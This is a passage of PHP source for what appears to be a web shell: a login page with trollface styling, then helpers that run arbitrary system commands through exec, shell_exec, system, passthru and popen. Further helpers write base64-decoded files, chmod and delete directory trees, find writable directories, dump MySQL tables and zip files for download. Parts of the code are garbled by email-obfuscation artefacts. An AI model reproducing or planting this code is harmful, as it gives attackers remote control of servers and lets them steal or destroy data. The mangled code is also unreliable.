transition-delay: .2s;}html body section.menu nav a:nth-child(3) {  -webkit-transition-delay: .165s;  transition-delay: .165s;}html body section.menu nav a:nth-child(4) {  -webkit-transition-delay: .13s;  transition-delay: .13s;}html body section.menu nav a:nth-child(5) {  -webkit-transition-delay: .095s;  transition-delay: .095s;}html body section.menu nav a:nth-child(6) {  -webkit-transition-delay: .06s;  transition-delay: .06s;}html body section.menu nav a:nth-child(7) {  -webkit-transition-delay: .25s;  transition-delay: .025s;}html body section.content label {  position: fixed;  z-index: 1000;  padding: 1rem 1.5rem;  background: #222;  font-size: 2rem;  line-height: 2rem;  color: #fff;  cursor: pointer;}html body section.content h1 {  display: table-cell;  vertical-align: middle;  text-align: center;  font-size: 3rem;  letter-spacing: 1px;  color: #fff;}</style><style type="text/css">body, a:hover {cursor: url(https://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="https://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="trollface / problem? / coolface  - rage face comics"><img src="https://cur.cursors-4u.net/cursor.png" border="0" alt="trollface / problem? / coolface  - rage face comics" style="position:absolute; top: 0px; right: 0px;" /></a><br><?phpecho "".$err_mess."";?></div>	</fieldset></head></html><?php	exit;}//end loginpagefunction execute($cfe) {	$res = '';	if ($cfe) {		if(function_exists('exec')) {			@exec($cfe,$res);			$res = join("\n",$res);		} elseif(function_exists('shell_exec')) {			$res = @shell_exec($cfe);		} elseif(function_exists('system')) {			@ob_start();			@system($cfe);			$res = @ob_get_contents();			@ob_end_clean();		} elseif(function_exists('passthru')) {			@ob_start();			@passthru($cfe);			$res = @ob_get_contents();			@ob_end_clean();		} elseif(@is_resource($f = @popen($cfe,"r"))) {			$res = '';			while([email protected]($f)) {				$res .= @fread($f,1024);			}			@pclose($f);		}	}	return $res;}function which($pr) {	$path = execute("which $pr");	return ($path ? $path : $pr);}function cf($fname,$text){	if([email protected]($fname,'w')) {		@fputs($fp,@base64_decode($text));		@fclose($fp);	}}// debugfunction debuginfo() {	global $starttime;	$mtime = explode(' ', microtime());	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);	echo 'processed in '.$totaltime.' second(s)';}// function connect databasefunction dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {		p('<h2>can not connect to mysql server</h2>');		exit;	}	if($link && $dbname) {		if ([email protected]_select_db($dbname, $link)) {			p('<h2>database selected has error</h2>');			exit;		}	}	if($link && mysql_get_server_info() > '4.1') {		if(in_array(strtolower($charset), array('utf-8', 'utf-8', 'utf8'))) {			q("set character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);		}	}	return $link;}// array stripfunction s_array(&$array) {	if (is_array($array)) {		foreach ($array as $k => $v) {			$array[$k] = s_array($v);		}	} else if (is_string($array)) {		$array = stripslashes($array);	}	return $array;}// html stripfunction html_clean($content) {	$content = htmlspecialchars($content);	$content = str_replace("\n", "<br />", $content);	$content = str_replace("  ", "&nbsp;&nbsp;", $content);	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);	return $content;}// chmodfunction getchmod($filepath){	return substr(base_convert(@fileperms($filepath),10,8),-4);}function getperms($filepath) {	$mode = @fileperms($filepath);	if (($mode & 0xc000) === 0xc000) {$type = 's';}	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}	elseif (($mode & 0xa000) === 0xa000) {$type = 'l';}	elseif (($mode & 0x8000) === 0x8000) {$type = '-';}	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}	else {$type = '?';}	$owner['read'] = ($mode & 00400) ? 'r' : '-';	$owner['write'] = ($mode & 00200) ? 'w' : '-';	$owner['execute'] = ($mode & 00100) ? 'x' : '-';	$group['read'] = ($mode & 00040) ? 'r' : '-';	$group['write'] = ($mode & 00020) ? 'w' : '-';	$group['execute'] = ($mode & 00010) ? 'x' : '-';	$world['read'] = ($mode & 00004) ? 'r' : '-';	$world['write'] = ($mode & 00002) ? 'w' : '-';	$world['execute'] = ($mode & 00001) ? 'x' : '-';	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 's';}	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 's';}	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 't';}	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];}function getuser($filepath)	{	if (function_exists('posix_getpwuid')) {		$array = @posix_getpwuid(@fileowner($filepath));		if ($array && is_array($array)) {			return ' / <a href="#" title="user: '.$array['name'].'&#13&#10passwd: '.$array['passwd'].'&#13&#10uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10gecos: '.$array['gecos'].'&#13&#10dir: '.$array['dir'].'&#13&#10shell: '.$array['shell'].'">'.$array['name'].'</a>';		}	}	return '';}// delete dirfunction deltree($deldir) {	[email protected]($deldir);	while($file=$mydir->read())	{		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {			@chmod($deldir.'/'.$file,0777);			deltree($deldir.'/'.$file);		}		if (is_file($deldir.'/'.$file)) {			@chmod($deldir.'/'.$file,0777);			@unlink($deldir.'/'.$file);		}	}	$mydir->close();	@chmod($deldir,0777);	return @rmdir($deldir) ? 1 : 0;}// backgroundfunction bg() {	global $bgc;	return ($bgc++%2==0) ? 'alt1' : 'alt2';}// get pathfunction getpath($scriptpath, $nowpath) {	if ($nowpath == '.') {		$nowpath = $scriptpath;	}	$nowpath = str_replace('\\', '/', $nowpath);	$nowpath = str_replace('https://', '/', $nowpath);	if (substr($nowpath, -1) != '/') {		$nowpath = $nowpath.'/';	}	return $nowpath;}// get up pathfunction getuppath($nowpath) {	$pathdb = explode('/', $nowpath);	$num = count($pathdb);	if ($num > 2) {		unset($pathdb[$num-1],$pathdb[$num-2]);	}	$uppath = implode('/', $pathdb).'/';	$uppath = str_replace('https://', '/', $uppath);	return $uppath;}// configfunction getcfg($varname) {	$result = get_cfg_var($varname);	if ($result == 0) {		return 'no';	} elseif ($result == 1) {		return 'yes';	} else {		return $result;	}}// function namefunction getfun($funname) {	return (false !== function_exists($funname)) ? 'yes' : 'no';}function getlist($dir){	global $dirdata,$j,$nowpath;	!$j && $j=1;	if ($dh = opendir($dir)) {		while ($file = readdir($dh)) {			$f=str_replace('https://','/',$dir.'/'.$file);			if($file!='.' && $file!='..' && is_dir($f)){				if (is_writable($f)) {					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);					$dirdata[$j]['mtime'][email protected]('y-m-d h:i:s',filemtime($f));					$dirdata[$j]['dirchmod']=getchmod($f);					$dirdata[$j]['dirperm']=getperms($f);					$dirdata[$j]['dirlink']=ue($dir);					$dirdata[$j]['server_link']=$f;					$dirdata[$j]['client_link']=ue($f);					$j++;				}				getlist($f);			}		}		closedir($dh);		clearstatcache();		return $dirdata;	} else {		return array();	}}function qy($sql) {	//echo $sql.'<br>';	$res = $error = '';	if(!$res = @mysql_query($sql)) {		return 0;	} else if(is_resource($res)) {		return 1;	} else {		return 2;	}	return 0;}function q($sql) {	return @mysql_query($sql);}function fr($qy){	mysql_free_result($qy);}function sizecount($size) {	if($size > 1073741824) {		$size = round($size / 1073741824 * 100) / 100 . ' g';	} elseif($size > 1048576) {		$size = round($size / 1048576 * 100) / 100 . ' m';	} elseif($size > 1024) {		$size = round($size / 1024 * 100) / 100 . ' k';	} else {		$size = $size . ' b';	}	return $size;}// zipclass phpzip{	var $out='';	function phpzip($dir)	{		if (@function_exists('gzcompress'))	{			$curdir = getcwd();			if (is_array($dir)) $filelist = $dir;			else{				$filelist=$this -> getfilelist($dir);//file list				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);			}			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);			else chdir($curdir);			if (count($filelist)>0){				foreach($filelist as $filename){					if (is_file($filename)){						$fd = fopen ($filename, 'r');						$content = @fread ($fd, filesize($filename));						fclose ($fd);						if (is_array($dir)) $filename = basename($filename);						$this -> addfile($content, $filename);					}				}				$this->out = $this -> file();				chdir($curdir);			}			return 1;		}		else return 0;	}	// show file list	function getfilelist($dir){		static $a;		if (is_dir($dir)) {			if ($dh = opendir($dir)) {				while ($file = readdir($dh)) {					if($file!='.' && $file!='..'){						$f=$dir .'/'. $file;						if(is_dir($f)) $this->getfilelist($f);						$a[]=$f;					}				}				closedir($dh);			}		}		return $a;	}	var $datasec      = array();	var $ctrl_dir     = array();	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";	var $old_offset   = 0;	function unix2dostime($unixtime = 0) {		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);		if ($timearray['year'] < 1980) {			$timearray['year']    = 1980;			$timearray['mon']     = 1;			$timearray['mday']    = 1;			$timearray['hours']   = 0;			$timearray['minutes'] = 0;			$timearray['seconds'] = 0;		} // end if		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);	}	function addfile($data, $name, $time = 0) {		$name = str_replace('\\', '/', $name);		$dtime = dechex($this->unix2dostime($time));		$hexdtime	= '\x' . $dtime[6] . $dtime[7]					. '\x' . $dtime[4] . $dtime[5]					. '\x' . $dtime[2] . $dtime[3]					. '\x' . $dtime[0] . $dtime[1];		evals('$hexdtime = "' . $hexdtime . '";');		$fr	= "\x50\x4b\x03\x04";		$fr	.= "\x14\x00";		$fr	.= "\x00\x00";		$fr	.= "\x08\x00";		$fr	.= $hexdtime;		$unc_len = strlen($data);		$crc = crc32($data);		$zdata = gzcompress($data);		$c_len = strlen($zdata);		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);		$fr .= pack('v', $crc);		$fr .= pack('v', $c_len);		$fr .= pack('v', $unc_len);		$fr .= pack('v', strlen($name));		$fr .= pack('v', 0);		$fr .= $name;		$fr .= $zdata;		$fr .= pack('v', $crc);		$fr .= pack('v', $c_len);		$fr .= pack('v', $unc_len);		$this -> datasec[] = $fr;		$new_offset = strlen(implode('', $this->datasec));		$cdrec = "\x50\x4b\x01\x02";		$cdrec .= "\x00\x00";		$cdrec .= "\x14\x00";		$cdrec .= "\x00\x00";		$cdrec .= "\x08\x00";		$cdrec .= $hexdtime;		$cdrec .= pack('v', $crc);		$cdrec .= pack('v', $c_len);		$cdrec .= pack('v', $unc_len);		$cdrec .= pack('v', strlen($name) );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 32 );		$cdrec .= pack('v', $this -> old_offset );		$this -> old_offset = $new_offset;		$cdrec .= $name;		$this -> ctrl_dir[] = $cdrec;	}	function file() {		$data    = implode('', $this -> datasec);		$ctrldir = implode('', $this -> ctrl_dir);		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('v', strlen($ctrldir)) . pack('v', strlen($data)) . "\x00\x00";	}}// dump mysqlfunction sqldumptable($table, $fp=0) {	$tabledump = "drop table if exists $table;\n";	$tabledump .= "create table $table (\n";	$firstfield=1;	$fields = q("show fields from $table");	while ($field = mysql_fetch_array($fields)) {		if (!$firstfield) {			$tabledump .= ",\n";		} else {			$firstfield=0;		}		$tabledump .= "   $field[field] $field[type]";		if (!empty($field["default"])) {			$tabledump .= " default '$field[default]'";		}		if ($field['null'] != "yes") {			$tabledump .= " not null";		}		if ($field['extra'] != "") {			$tabledump .= " $field[extra]";		}	}	fr($fields);	$keys = q("show keys from $table");	while ($key = mysql_fetch_array($keys)) {		$kname=$key['key_name'];		if ($kname != "primary" && $key['non_unique'] == 0) {			$kname="unique|$kname";		}		if(!is_array($index[$kname])) {			$index[$kname] = array();		}		$index[$kname][] = $key['column_name'];	}	fr($keys);	while(list($kname, $columns) = @each($index)) {		$tabledump .= ",\n";		$colnames=implode($columns,",");		if ($kname == "primary") {			$tabledump .= "   primary key ($colnames)";		} else {			if (substr($kname,0,6) == "unique") {				$kname=substr($kname,7);			}			$tabledump .= "   key $kname ($colnames)";		}	}	$tabledump .= "\n);\n\n";	if ($fp) {		fwrite($fp,$tabledump);	} else {		echo $tabledump;	}	$rows = q("select * from $table");	$numfields = mysql_num_fields($rows);	while ($row = mysql_fetch_array($rows)) {		$tabledump = "insert into $table values(";		$fieldcounter=-1;		$firstfield=1;		while (++$fieldcounter<$numfields) {			if (!$firstfield) {				$tabledump.=", ";			} else {				$firstfield=0;			}			if (!isset($row[$fieldcounter])) {				$tabledump .= "null";			} else {				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";			}		}		$tabledump .= ");\n";		if ($fp) {			fwrite($fp,$tabledump);		} else {			echo $tabledump;		}	}	fr($rows);	if ($fp) {		fwrite($fp,"\n");	} else {		echo "\n";	}}function ue($str){	return urlencode($str);}function p($str){	echo $str."\n";}function tbhead() {	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){	p('</table>');}function makehide($name,$value=''){	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");}function makeinput($arg = array()){	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';	!$arg['type'] && $arg['type'] = 'text';	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';	if ($arg['newline']) {		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");	} else {		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");	}}function makeselect($arg = array()){	if ($arg['onchange']) {		$onchange = 'onchange="'.$arg['onchange'].'"';	}	$arg['title'] = $arg['title'] ? $arg['title'] : '';	if ($arg['newline']) p('<p>');	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");		if (is_array($arg['option'])) {			foreach ($arg['option'] as $key=>$value) {				if ($arg['selected']==$key) {					p("<option value=\"$key\" selected>$value</option>");				} else {					p("<option value=\"$key\">$value</option>");				}			}		}	p("</select>");	if ($arg['newline']) p('</p>');}function formhead($arg = array()) {	!$arg['method'] && $arg['method'] = 'post';	!$arg['action'] && $arg['action'] = $self;	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';	!$arg['name'] && $arg['name'] = 'form1';	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");	if ($arg['title']) {		p('<h2>'.$arg['title'].' &raquo;</h2>');	}}function maketext($arg = array()){	!$arg['cols'] && $arg['cols'] = 100;	!$arg['rows'] && $arg['rows'] = 25;	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ''){	!$name && $name = 'submit';	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="submit"></p>');	p('</form>');}function formfoot(){	p('</form>');}// exitfunction pr($a) {	echo '<pre>';	print_r($a);	echo '</pre>';}?>